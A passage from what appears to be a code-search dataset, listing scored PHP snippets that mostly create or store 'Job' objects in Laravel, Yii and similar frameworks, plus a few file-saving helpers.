"acf6ec923e31d224bebc732cc19ba6cd", "score": "0.6789439", "text": "public function create(JobConfigurationInterface $configuration);", "title": "" }, { "docid": "5f08d0305ca9b8921390abf8fd0d75c6", "score": "0.6766365", "text": "public function createJobObject($payload)\n {\n $job = new Job([\n 'title' => $payload['name'],\n 'name' => $payload['name'],\n 'description' => $payload['snippet'],\n 'url' => $payload['url'],\n 'sourceId' => $payload['id'],\n 'location' => $payload['location'],\n ]);\n\n $job->setCompany($payload['hiring_company']['name'])\n ->setCompanyUrl($payload['hiring_company']['url'])\n ->setDatePostedAsString($payload['posted_time'])\n ->setCity($payload['city'])\n ->setState($payload['state']);\n\n $job->job_age = $payload['job_age'];\n $job->posted_time_friendly = $payload['posted_time_friendly'];\n $job->has_non_zr_url = $payload['has_non_zr_url'];\n\n return $job;\n }", "title": "" }, { "docid": "0de7ea44e93a48e3968b7055aaf43b7c", "score": "0.6720859", "text": "public function jobCreate($queueName, $className, $data = null, $options = [])\n {\n $job = new Job;\n\n try {\n $job->queue = $queueName;\n $job->worker = $className;\n $job->data = $data;\n\n foreach ($options as $option => $value) {\n $job->$option = $value;\n }\n\n if (!$job->validate()) {\n throw new \\Exception($job->getErrorSummary(true)[0]);\n }\n\n $job->insert();\n } catch (\\Exception $e) {\n throw $e;\n }\n\n return $job;\n }", "title": "" }, { "docid": "815a3da75d21e138ef0c69425994f33c", "score": "0.66982186", "text": "public function testCreateNewJob()\n {\n $employer = factory(Employer::class)->create();\n $newJob = [\n 'title' => 'Testing',\n 'description' => 'This describes the test',\n 'skills' => 'python, flasjk',\n 'employer_id' => $employer->id\n ];\n\n $response = $this->post('/api/v1/jobs', $newJob);\n $response->assertResponseStatus(201);\n }", "title": "" }, { "docid": "20f6b236bff9e39eb720be69038bf648", "score": "0.6609688", "text": "public function createJobInstance($context = null): JobEntity\n {\n $job = $this->newJobInstance($context);\n\n // set job definition id\n $jobDefinitionId = $this->resolveJobDefinitionId($context);\n $job->setJobDefinitionId($jobDefinitionId);\n\n if ($jobDefinitionId !== null) {\n $jobDefinition = Context::getCommandContext()\n ->getJobDefinitionManager()\n ->findById($jobDefinitionId);\n\n if ($jobDefinition !== null) {\n // if job definition is suspended while creating a job instance,\n // suspend the job instance right away:\n $job->setSuspensionState($jobDefinition->getSuspensionState());\n $job->setProcessDefinitionKey($jobDefinition->getProcessDefinitionKey());\n $job->setProcessDefinitionId($jobDefinition->getProcessDefinitionId());\n $job->setTenantId($jobDefinition->getTenantId());\n $job->setDeploymentId($jobDefinition->getDeploymentId());\n }\n }\n\n $job->setJobHandlerConfiguration($this->resolveJobHandlerConfiguration($context));\n $job->setJobHandlerType($this->resolveJobHandlerType($context));\n $job->setExclusive($this->resolveExclusive($context));\n $job->setRetries($this->resolveRetries($context));\n $job->setDuedate($this->resolveDueDate($context));\n\n // contentExecution can be null in case of a timer start event or\n // and batch jobs unrelated to executions\n $contextExecution = $this->resolveExecution($context);\n\n if (Context::getProcessEngineConfiguration()->isProducePrioritizedJobs()) {\n $priority = Context::getProcessEngineConfiguration()\n ->getJobPriorityProvider()\n ->determinePriority($contextExecution, $this, $jobDefinitionId);\n\n $job->setPriority($priority);\n }\n\n if ($contextExecution !== null) {\n // in case of shared process definitions, the job definitions have no tenant id.\n // To distinguish jobs between tenants and enable the tenant check for the job executor,\n // use the tenant id from the execution.\n $job->setTenantId($contextExecution->getTenantId());\n }\n\n $this->postInitialize($context, $job);\n\n return $job;\n }", "title": "" }, { "docid": "e5710f0f824091f592bc715cfd1e4314", "score": "0.6571009", "text": "public function createJobObject($payload = [])\n {\n $job = new Job([\n 'title' => $payload['name'],\n 'name' => $payload['name'],\n 'description' => $payload['contents'],\n 'url' => $payload['refs']['landing_page'],\n 'sourceId' => $payload['id'],\n ]);\n\n // categories array\n $this->setCategories($job, $payload['categories']);\n\n // company array\n $this->setCompany($job, $payload['company']);\n\n // levels array\n $this->setLevels($job, $payload['levels']);\n\n // locations array\n $this->setLocation($job, $payload['locations']);\n\n return $job;\n }", "title": "" }, { "docid": "cfe360d3e698f44b884d369bc97c191d", "score": "0.64918077", "text": "public function __construct(Job $job)\n {\n $this->job = $job;\n }", "title": "" }, { "docid": "cfe360d3e698f44b884d369bc97c191d", "score": "0.64918077", "text": "public function __construct(Job $job)\n {\n $this->job = $job;\n }", "title": "" }, { "docid": "cfe360d3e698f44b884d369bc97c191d", "score": "0.64918077", "text": "public function __construct(Job $job)\n {\n $this->job = $job;\n }", "title": "" }, { "docid": "6b0dc0b0aa2b89616671e45d1fa8bcc7", "score": "0.634876", "text": "public function createJobObject($payload)\n {\n $job = new Job([\n 'description' => $payload['Description'],\n 'title' => $payload['JobTitle'],\n 'name' => $payload['JobTitle'],\n 'url' => $payload['Url'],\n 'sourceId' => $payload['Id'],\n 'qualifications' => $payload['Requirements'],\n 'maximumSalaray' => $payload['SalaryMax'],\n 'minimumSalaray' => $payload['SalaryMin'],\n 'baseSalaray' => $payload['SalaryMin'],\n ]);\n $job->setDatePostedAsString($payload['PostDate']);\n $job = $this->setValidThroughAsString($payload['ExpireDate'], $job);\n $job = $this->setCategory($payload, $job);\n $job = $this->setCompany($payload, $job);\n return $this->setLocation($payload, $job);\n }", "title": "" }, { "docid": "59426167981e0674bb72ea93c3ba4fd4", "score": "0.6321298", "text": "public function create() {\n $job = new Job();\n return view(\"admin.job.create\", [\n 'job' => $job,\n ]);\n }", "title": "" }, { "docid": "ed5e910841ab728dad698540617de1a3", "score": "0.62061965", "text": "private function buildJob(string $id, string $queue, array $payload): Job\n {\n $job = new Job();\n $job->setId($id);\n $job->setQueue($queue);\n $job->setAttempts(0);\n $job->setReserved(false);\n $job->setReservedAt(null);\n $job->setPayload($payload);\n\n return $job;\n }", "title": "" }, { "docid": "10b06963322d8c22baa5bcb45e8097eb", "score": "0.61946005", "text": "public function run()\n {\n $job = Job::create([\n 'user_id' =>1,\n 'title' =>'job',\n 'pay' =>12000,\n 'hours' => 8,\n 'category_id'=>'2'\n\n ]);\n }", "title": "" }, { "docid": "3d1b393d8a7d0e372c8d76659b93fc80", "score": "0.61563843", "text": "public function __construct()\n {\n echo 'job constructed';\n }", "title": "" }, { "docid": "f84a21d235cbea496aad8817e5e121a0", "score": "0.61039084", "text": "protected function createPushedJob($job)\n\t{\n\t\treturn new Job($this->container, $this->config, $job);\n\t}", "title": "" }, { "docid": "894c251542de954d6c5c9b5e61826c86", "score": "0.6063253", "text": "private function createJob(array $worker)\n {\n /**\n * If service is defined, we must retrieve this class with dependency injection\n *\n * Otherwise we just create it with a simple new()\n */\n if ($worker['service']) {\n $objInstance = $this->container->get($worker['service']);\n } else {\n $objInstance = new $worker['className']();\n\n /**\n * If instance of given object is instanceof\n * ContainerAwareInterface, we inject full container by calling\n * container setter.\n *\n * @see https://github.com/mmoreram/gearman-bundle/pull/12\n */\n if ($objInstance instanceof ContainerAwareInterface) {\n $objInstance->setContainer($this->container);\n }\n }\n\n return $objInstance;\n }", "title": "" }, { "docid": "12dc06afd224d98d67ed5ddd92dc10a5", "score": "0.60054004", "text": "public function actionCreate()\n {\n\n $job = New Job();\n $employer = Employer::Find()->where(['user_id' => Yii::$app->user->getId()])->One();\n $job->employer_id = $employer->employer_id;\n $job->time_created = date(\"Y-m-d H:i:s\");\n\n\n if ($job->load(Yii::$app->request->post())) {\n if ($job->expiration_date == '1w') {\n $interval = 'P7D';\n } elseif ($job->expiration_date == '2w') {\n $interval = 'P14D';\n } elseif ($job->expiration_date == '3w') {\n $interval = 'P21D';\n } elseif ($job->expiration_date == '1m') {\n $interval = 'P1M';\n } elseif ($job->expiration_date == '2m') {\n $interval = 'P2M';\n }\n\n $dateExp = (new DateTime($job->time_created))->add(new \\DateInterval($interval));\n $job->expiration_date = $dateExp->format(\"Y-m-d H:i:s\");\n $job->employer_id = Yii::$app->session->get('employerId');\n if ($job->save()) {\n // return $this->redirect(['view', 'id' => $job->job_id]);\n return $this->redirect('index');\n } else {\n print_r($job->getErrors());\n die;\n }\n }\n\n return $this->render('create', [\n 'model' => $job,\n\n ]);\n\n }", "title": "" }, { "docid": "128f038448d1ac71379b041046e6a1c0", "score": "0.5997484", "text": "public function __construct(Job $job)\n {\n $this->job = $job;\n parent::__construct();\n }", "title": "" }, { "docid": "df249f317ebe443e35bfb91faf68d280", "score": "0.59851605", "text": "public function createAction()\n {\n $job = new Job();\n $request = $this->getRequest();\n $form = $this->createForm(new JobType(), $job);\n\n if ('POST' === $request->getMethod()) {\n $form->bindRequest($request);\n\n if ($form->isValid()) {\n $em = $this->getDoctrine()->getEntityManager();\n $em->persist($job);\n $em->flush();\n\n $this->setFlash('notice', 'Your Job was been added!');\n\n return $this->redirect($this->generateUrl('job_show', array('company' => $job->getCompanySlug(),\n 'location' => $job->getLocationSlug(),\n 'id' => $job->getId(),\n 'position' => $job->getPositionSlug(),\n )));\n \n }\n }\n\n return array(\n 'job' => $job,\n 'form' => $form->createView()\n );\n }", "title": "" }, { "docid": "9c7602d18a7f03ca5e23aba375b514eb", "score": "0.5949924", "text": "public function createJob(Request $request, ILoggerService $logger)\n {\n $logger->info(\"Entering JobController.createJob()\");\n \n // Validates the user's input against pre-defined rules\n $this->validateForm($request);\n \n try {\n\n // Takes user input from register form and uses it to make a new jobmodel object with an id of 0\n $job = new JobModel(0, $request->input('title'), $request->input('company'), $request->input('state'), $request->input('city'), $request->input('description'));\n\n // Creates instance of job service\n $jobService = new JobService();\n\n // Stores the result of the function call\n $result = $jobService->newJob($job, $logger);\n \n $logger->info(\"Exiting JobController.createJob() with a result of \", $result);\n\n //Returns the user to the job admin page\n return view('jobAdmin')->with(['results' => $jobService->getAllJobs($logger)]);\n } catch (\\Exception $e) {\n $logger->error(\"Exception occured in JobController.createJob(): \" . $e->getMessage());\n $data = ['error_message' => $e->getMessage()];\n return view('error')->with($data);\n }\n }", "title": "" }, { "docid": "25a35dc2be65a3ebc66745b3aca953f0", "score": "0.59342104", "text": "public function run()\n {\n factory(Jobopening::class, 20)->create();\n }", "title": "" }, { "docid": "7b3cafa7dca17df16d10e6f735343676", "score": "0.5931937", "text": "public function create()\n {\n return view('manage.job.create');\n }", "title": "" }, { "docid": "d323586fc88869d0d559448bffd9136f", "score": "0.5921501", "text": "public function create()\n {\n //displays a form to add a new job\n return view('jobs.create');\n }", "title": "" }, { "docid": "2622f869f27e597be587beb67d7a5505", "score": "0.5875176", "text": "public function created(Job $job)\n {\n $job->label = Str::slug($job->label);\n $job->saveQuietly();\n }", "title": "" }, { "docid": "114edfed2b8f4e7efa1721a4dfe7183d", "score": "0.5853904", "text": "public function createInstance () {\n new $this;\n }", "title": "" }, { "docid": "8ef9225bd31e30c200feb039ad680431", "score": "0.58514595", "text": "private function createJob($queue, $class, $args = null, $monitor = false, $attempts = false)\n {\n $id = self::generateJobId();\n\n if ($args !== null && !is_array($args)) {\n throw new \\InvalidArgumentException(\n 'Supplied $args must be an array.'\n );\n }\n\n $this->push($queue, [\n 'id' => $id,\n 'class' => $class,\n 'args' => array($args),\n 'queue_time' => microtime(true),\n 'attempts' => $attempts\n ]);\n\n if ($monitor) {\n $this->statusManager->create($id);\n }\n\n return $id;\n }", "title": "" }, { "docid": "97292431e47d46fc35c441e886fd44aa", "score": "0.5834651", "text": "public function __construct(Job $job = null, WorkflowsConfig $config = null, RequestInterface $request = null, ResponseInterface $response = null)\n\t{\n\t\tparent::__construct();\n\n\t\t$this->job = $job;\n\t\t$this->config = $config ?? config('Workflows');\n\t\t$this->request = $request ?? service('request');\n\t\t$this->response = $response ?? service('response');\n\n\t\t$this->jobs = model($this->config->jobModel);\n\t}", "title": "" }, { "docid": "01c89ffeafb71db89f6915d54cb81d01", "score": "0.5821941", "text": "protected function newQueuedJob(): QueuedSmsableJob\n {\n return new QueuedSmsableJob($this);\n }", "title": "" }, { "docid": "87a60f4f1dcf2684a8b40210888ec44c", "score": "0.5818711", "text": "public function create($parent, CloneJob $postBody, $optParams = [])\n {\n $params = ['parent' => $parent, 'postBody' => $postBody];\n $params = array_merge($params, $optParams);\n return $this->call('create', [$params], Operation::class);\n }", "title": "" }, { "docid": "959f94ec96c793e7555d7f7a1df0064c", "score": "0.58150166", "text": "public function create(Job $job, array $data)\n {\n $database = Arr::get($data, 'database');\n $migrator = $this->resolveMigrator($data);\n $entity = $this->resolveModelEntity($migrator, $data);\n\n if (is_null($entity)) {\n $job->delete();\n return ;\n }\n\n $migrator->runInstall($entity, $database);\n $migrator->runUp($entity, $database);\n\n $job->delete();\n }", "title": "" }, { "docid": "9ab672e98e3fb12089a1aa38cdf627f1", "score": "0.57920134", "text": "public function createJob($job)\n {\n\n $this->logger->info(\"Enter JobService.createJob()\");\n \n // Begin SQL transaction\n $this->db->beginTransaction();\n\n try\n {\n\n // Perform create operation\n $service = new JobDAO($this->db, $this->logger);\n $result = $service->create($job);\n\n // Verify operation result\n if ($result)\n {\n // Commit SQL changes\n $this->logger->info(\"Exit JobService.createJob() with success.\");\n $this->db->commit();\n return true;\n }\n else\n {\n // Rollback SQL changes\n $this->logger->warn(\"Exit JobService.createJob() with failure: job creation failed.\");\n $this->db->rollBack();\n return false;\n }\n }\n catch (PDOException $e)\n {\n\n // Rollback SQL changes\n $this->db->rollBack();\n \n // Log database exception\n $this->logger->error(\"Exception: \", array(\n \"message\" => $e->getMessage()\n ));\n throw new DatabaseException(\"Database Exception: \" . $e->getMessage(), 0, $e);\n }\n }", "title": "" }, { "docid": "6dc6b9a4e4dcd1aa9ffd2279a3db2b97", "score": "0.5789109", "text": "public function create(){}", "title": "" }, { "docid": "6dc6b9a4e4dcd1aa9ffd2279a3db2b97", "score": "0.5789109", "text": "public function create(){}", "title": "" }, { "docid": "6dc6b9a4e4dcd1aa9ffd2279a3db2b97", "score": "0.5789109", "text": "public function create(){}", "title": "" }, { "docid": "6dc6b9a4e4dcd1aa9ffd2279a3db2b97", "score": "0.5789109", "text": "public function create(){}", "title": "" }, { "docid": "bb0448ad0266cc58fd2700dc3baaf31e", "score": "0.57858557", "text": "public function createJobs()\n {\n $userId = $this->request->user()->id;\n $jobObject = $this->validateJobs();\n $jobObject['userId'] = $userId;\n try {\n $job = new JobService();\n $jobCreated = $job->create($jobObject);\n if ($jobCreated) {\n $data = [\n 'jobId' => $jobCreated->id\n ];\n return $this->success('Job Created',$data,201);\n }\n } catch (Exception $ex) {\n return $this->error('Server Error Occured', 500);\n }\n }", "title": "" }, { "docid": "f2940b74626377b465339c945e072439", "score": "0.5782661", "text": "public function __construct($job, $data = '')\r\n\t{\r\n\t\t$this->job = $job;\r\n\t\t$this->data = $data;\r\n\t}", "title": "" }, { "docid": "baa928b5424242c7a5ab3e36596e85ab", "score": "0.57722735", "text": "public static function createJob( $filename, $pipelineId, $presetId, $config )\n {\n $client = ElasticTranscoderClient::factory( $config );\n\n $pathInfo = pathinfo( $filename );\n\n $jobConfig = array(\n\n 'PipelineId' => $pipelineId,\n\n 'Input' => array(\n 'Key' => $filename,\n 'FrameRate' => 'auto',\n 'Resolution' => 'auto',\n 'AspectRatio' => 'auto',\n 'Interlaced' => 'auto',\n 'Container' => 'auto',\n ),\n\n 'Outputs' => array(\n array(\n 'Key' => $filename,\n 'ThumbnailPattern' => $pathInfo['filename'] . '-thumbnail-{count}',\n 'PresetId' => $presetId,\n )\n ),\n );\n\n $create_job_result = $client->createJob( $jobConfig );\n return $create_job_result['Job'];\n }", "title": "" }, { "docid": "5bb41646aac9b5c4c365b7741d09935e", "score": "0.5772151", "text": "public function createJob($job)\n {\n $service = new JobDAO($this->db);\n\n $result = $service->create($job);\n if ($result)\n return true;\n else\n return false;\n }", "title": "" }, { "docid": "920d51659aaaf3235f52af6df8a00866", "score": "0.57701826", "text": "public function run()\n {\n App\\Job::create([\n 'title' => str_random(10),\n 'description' => str_random(1000),\n 'local' => 'São Paulo / SP',\n 'title' => str_random(10),\n 'remote' => 'no',\n 'type' => 3,\n 'company_id' => 1,\n ]);\n }", "title": "" }, { "docid": "c8a85c9e997699f2027461ad78fc5beb", "score": "0.57391757", "text": "public function store(Request $request, JobPostCreateRequest $request)\n { \n $job = new Job();\n $job->user_id = Auth::user()->id;\n $job->job_title = $request->job_title;\n $job->company_name = $request->company_name;\n $job->skills = $request->skills;\n $job->salary = $request->salary;\n $job->job_description = $request->job_description;\n $job->address = $request->address;\n $job->location = $request->location;\n $job->country = $request->country;\n if ($job->save()) {\n session()->flash('message', 'Job posted successfully');\n return redirect()->route('recruiter.jobpost');\n }\n redirect()->back();\n }", "title": "" }, { "docid": "454f70fb667da65a7711eb6ab66dbb96", "score": "0.5736382", "text": "public function store($data)\n {\n return $this->jobModel->create($data);\n }", "title": "" }, { "docid": "6cb33b81a9565524c0615585e4ed5957", "score": "0.571115", "text": "public function get(int $jobId): Job\n {\n }", "title": "" }, { "docid": "002fa88730c55029e76e1edaa28f35c8", "score": "0.5705742", "text": "public function create()\n\n {\n $this->authorize('jobs.create');\n\n return view('backend.jobs.create');\n }", "title": "" }, { "docid": "7a2bab11c730cda484075a859c9bbee3", "score": "0.5705721", "text": "public function createWork()\n\t{\n\t}", "title": "" }, { "docid": "f59bfe619237c5f3d0165e476ed24a27", "score": "0.56880254", "text": "public function created(Job $job)\n {\n if (! config('database.connections.wordpress.enabled')) {\n return;\n }\n $job->rounds()->attach(Round::pluck('id')->toArray());\n $job_status = request()->status;\n $corcel = new Corcel();\n $corcel->post_title = $job->title;\n $corcel->post_content = $job->description;\n $corcel->post_type = config('hr.post-type.career');\n $corcel->post_name = str_replace(' ', '-', strtolower($job->title));\n $corcel->post_status = config('hr.opportunities-status-wp-mapping')[$job_status];\n $corcel->save();\n $corcel->saveMeta('hr_id', $job->id);\n $post = $corcel->hasMeta('hr_id', $job->id)->first();\n $term = Term::select('term_id')->where(['name' => $job->domain])->first();\n if ($term) {\n $relation = new TermRelationship();\n $relation->object_id = $post->ID;\n $relation->term_taxonomy_id = $term->term_id;\n $relation->save();\n }\n $job->opportunity_id = $post->ID;\n $job->save();\n }", "title": "" }, { "docid": "779c8e897c4b8463bb0027e0ccb89725", "score": "0.5683395", "text": "public static function create() {}", "title": "" }, { "docid": "638fc7a50d13fb2d55a27972098cfb1d", "score": "0.5663924", "text": "public function create()\n {\n return new $this->class();\n }", "title": "" }, { "docid": "f8d682806ffc8e86c4fbc5d88348e8ad", "score": "0.5649198", "text": "public function create()\n {\n $class = $this->class;\n\n return new $class;\n }", "title": "" }, { "docid": "e498c1dfd291b1e26942278d34a9a3ba", "score": "0.5632702", "text": "public function create() {\n \n }", "title": "" }, { "docid": "0c36e8b841949b30c7e953320ca53e54", "score": "0.5612659", "text": "public function store()\n\t{\n\t\tJob::create(array(\n\n\t\t\t'client' => Input::get('client'),\n\t\t\t'job_number' => Input::get('job_number'),\n\t\t\t'product' => Input::get('product'),\n\t\t\t'title' => Input::get('title'),\n\t\t\t'format' => Input::get('format'),\n\t\t\t'format_other' => Input::get('format_other'),\n\t\t\t'length' => Input::get('length'),\n\n\t\t\t'creative_partner' => Input::get('creative_partner'),\n\t\t\t'agency_producer' => Input::get('agency_producer'),\n\t\t\t'agency_director' => Input::get('agency_director'),\n\t\t\t'project_manager' => Input::get('project_manager'),\n\n\t\t\t'production_company' => Input::get('production_company'),\n\t\t\t'director' => Input::get('director'),\n\t\t\t'dop' => Input::get('dop'),\n\t\t\t'producer' => Input::get('producer'),\n\n\t\t\t'post_production' => Input::get('post_production'),\n\t\t\t'editor' => Input::get('editor'),\n\t\t\t'conform' => Input::get('conform'),\n\t\t\t'post_engineer' => Input::get('post_engineer'),\n\t\t\t'design' => Input::get('design'),\n\t\t\t'masters_held_at' => Input::get('masters_held_at'),\n\n\t\t\t'audio_production' => Input::get('audio_production'),\n\t\t\t'audio_engineer' => Input::get('audio_engineer'),\n\t\t\t'music_details' => Input::get('music_details'),\n\n\t\t\t'music_expire_date' => Input::get('music_expire_date'),\n\t\t\t'roll_over_date' => Input::get('roll_over_date'),\n\t\t\t'first_air_date' => Input::get('first_air_date'),\n\t\t\t'off_air_date' => Input::get('off_air_date'),\n\t\t\t'other' => Input::get('other'),\n\n\t\t\t'stall_roll_over' => Input::get('stall_roll_over')\n\t\t));\n\n\t\treturn Response::json(array('success' => true));\n\t}", "title": "" }, { "docid": "0488478c09cfa84a7ec14557da49c183", "score": "0.56076354", "text": "public function create()\n {}", "title": "" }, { "docid": "0488478c09cfa84a7ec14557da49c183", "score": "0.56076354", "text": "public function create()\n {}", "title": "" }, { "docid": "7377758c959c218dc50e7c226e7ec123", "score": "0.5604791", "text": "public function create() {\r\n }", "title": "" }, { "docid": "34ccfc59ff1e100f46730ccf999d0643", "score": "0.560396", "text": "public function run()\n {\n JobType::create([\n 'name' => 'Service',\n 'comment' => 'Service',\n\n ]);\n JobType::create([\n 'name' => 'Repair',\n 'comment' => 'Repair',\n\n ]);\n JobType::create([\n 'name' => 'Tyre Change',\n 'comment' => 'Tyre Change',\n\n ]);\n }", "title": "" }, { "docid": "ad8b6c5bcfcc0d2f51702de2a4382c22", "score": "0.55986047", "text": "public function store(Request $request)\n {\n //\n $job = $request->isMethod('put') ? Job::findOrfail\n ($request->job_id) : new Job;\n\n $job->posted_by =Auth::user()->id;\n $job->position = $request->input('position');\n $job->company = $request->input('company');\n $job->job_function = $request->input('job_function');\n $job->company_industry = $request->input('company_industry');\n $job->location = $request->input('location');\n $job->employment_type = $request->input('employment_type');\n $job->senority_level = $request->input('senority_level');\n $job->job_description = $request->input('job_description');\n $job->expi_level = $request->input('expi_level');\n $job->degree = $request->input('degree');\n\n if ($job->save()){\n return new JobResource($job);\n }\n }", "title": "" }, { "docid": "869827bf706122328dc8ccae4eba5e53", "score": "0.55970114", "text": "public function __construct(JobModel $model)\n {\n $this->model = $model;\n }", "title": "" }, { "docid": "a7af95812586e8fe7f606fe4fb7e9d78", "score": "0.55932534", "text": "public function create() {\n }", "title": "" }, { "docid": "0c8ebecff7026f61540b84b06a9b4fee", "score": "0.557852", "text": "public function create()\n {\n // - it probably best to leave it here for now\n }", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.55778396", "text": "public function create();", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.55778396", "text": "public function create();", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.55778396", "text": "public function create();", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.55778396", "text": "public function create();", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.55778396", "text": "public function create();", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.55778396", "text": "public function create();", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.55778396", "text": "public function create();", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.55778396", "text": "public function create();", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.55778396", "text": "public function create();", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.55778396", "text": "public function create();", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.55778396", "text": "public function create();", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.55778396", "text": "public function create();", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.55778396", "text": "public function create();", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.55778396", "text": "public function create();", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.55778396", "text": "public function create();", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.55778396", "text": "public function create();", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.55778396", "text": "public function create();", "title": "" }, { "docid": "1ae7fd986979a0ce7f9df708188c15eb", "score": "0.55770373", "text": "abstract public function createWork();", "title": "" }, { "docid": "8158543d92fe1ef7e6705072eb110298", "score": "0.55633324", "text": "public function create_cron_object() {\n\n\t\tif ( ! defined( 'DOING_CRON' ) || ! DOING_CRON ) {\n\t\t\treturn;\n\t\t}\n\t\tif ( isset( $this->cron ) ) {\n\t\t\treturn;\n\t\t}\n\t\t$this->cron = SLP_Power_Cron::get_instance();\n\t\t$this->cron->make_bot_babies();\n\t}", "title": "" }, { "docid": "1c604eb240ac873a704c6010c3765c2c", "score": "0.5546857", "text": "protected function policy() : JobPolicy\n {\n return new JobPolicy();\n }", "title": "" }, { "docid": "67a2d64c1d8839a784d3ac61ab909003", "score": "0.55380523", "text": "public function create()\n {\n $class = $this->getClass();\n\n return new $class;\n }", "title": "" }, { "docid": "5ef4c51df9beccc23e94cb26ec120b08", "score": "0.5534041", "text": "public function addJob(Job $newJob);", "title": "" }, { "docid": "e8ca44dbd1a31c3bc1a285badc003369", "score": "0.55197287", "text": "protected function makeWorker(): void\n {\n if ($this->worker == null) {\n $this->worker = new $this->worker_class();\n }\n }", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.55171794", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.55171794", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.55171794", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.55171794", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.55171794", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.55171794", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.55171794", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.55171794", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.55171794", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.55171794", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.55171794", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.55171794", "text": "public function create() {\n\t\t//\n\t}", "title": "" } ]
8f76d3bd747deeae09b3d50b6062023e
Save a file from getFile.
[ { "docid": "7b252aff2c3e8e56aeb33950258c0cab", "score": "0.5998313", "text": "public function saveFile (array $getFile, string $dest) :bool\n {\n\n if (!isset ($getFile ['result']['file_path'])){\n throw new \\Exception ('$getFile is required!');\n }\n\n $url_file = \"https://api.telegram.org/file/bot\".Token::$token.\"/\".$getFile ['result']['file_path'];\n $fopen = fopen ($dest, 'wb');\n\n $curl = curl_init ($url_file);\n curl_setopt ($curl, CURLOPT_FILE, $fopen);\n $exec = curl_exec ($curl);\n curl_close ($curl);\n\n if ($exec === false){\n throw new \\Exception (curl_error ($curl));\n }\n\n return true;\n }", "title": "" } ]
[ { "docid": "8aff4dd6c3c69d1e9a60b6e9de996aa5", "score": "0.6741022", "text": "public function save($file_name);", "title": "" }, { "docid": "058632f78bc1b53f813e18943e9720f7", "score": "0.6480066", "text": "public function toFile($file);", "title": "" }, { "docid": "6b418bd70e1799d0c9cdff99cf1399ff", "score": "0.6429292", "text": "public function save(File $file)\n {\n $this->filesystem->write($file);\n }", "title": "" }, { "docid": "76e5a7cf1c271907b3a6be588ca6ba72", "score": "0.6402162", "text": "abstract protected function saveFile();", "title": "" }, { "docid": "ee184476b0fb4aa1d7dcdbe95647a595", "score": "0.63363653", "text": "function savefile() {\n\n\t\t# Check it's not a directory\n\t\tif ($this->is_dir()) { return \"ERROR_FS_NOSAVEDIR\"; }\n\n\t\t$filepointer0 = fopen($this->absfilepath, \"wb\");\n\t\tfwrite($filepointer0, $this->filecontents, strlen($this->filecontents));\n\t\tfclose($filepointer0);\n\n\t\t$this->rescan();\n\n\t}", "title": "" }, { "docid": "dbb860ba287ef751a1f90823962ceb87", "score": "0.62913334", "text": "public function save(FileInterface $file);", "title": "" }, { "docid": "8445fac48b6a0f4c67dcdfa6073a1b9d", "score": "0.62839895", "text": "private function save()\r\n\t{\r\n\t\t//write the file and throw an exception if we have an issue\r\n\t\tif( !file_put_contents(self::$serverPath.$this->file,$this->contents) )\r\n\t\t{\r\n\t\t\tthrow new Exception(\"Cannot save file ('\".$this->file.\"')\");\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "75b116b17788bd8044e8459ab3711441", "score": "0.6169455", "text": "public function saveFile() {\n // contents to the archive\n require_once dirname( __FILE__ ) .\n '/../StaticHtmlOutput/FileWriter.php';\n\n $file_writer = new FileWriter(\n $this->url,\n $this->processed_file,\n $this->file_type,\n $this->content_type\n );\n\n $file_writer->saveFile( $this->archive_dir );\n }", "title": "" }, { "docid": "c813f1df94bb8e5b6e066f6494dd0cc0", "score": "0.61523324", "text": "public function save()\n {\n array_to_file($this->data, $this->file_name);\n }", "title": "" }, { "docid": "3b24d266462c9ec3604336de60cdb029", "score": "0.61399704", "text": "function save($file) \n\t{\n\t\t$this->driver->save($file);\n\t}", "title": "" }, { "docid": "4ab5bbd1ee50c71b4252c5225f086efb", "score": "0.61045724", "text": "protected function saveToFile($data, $file) {\n }", "title": "" }, { "docid": "f5b4164c0f9787f553d6cf0938a306a3", "score": "0.6085144", "text": "function 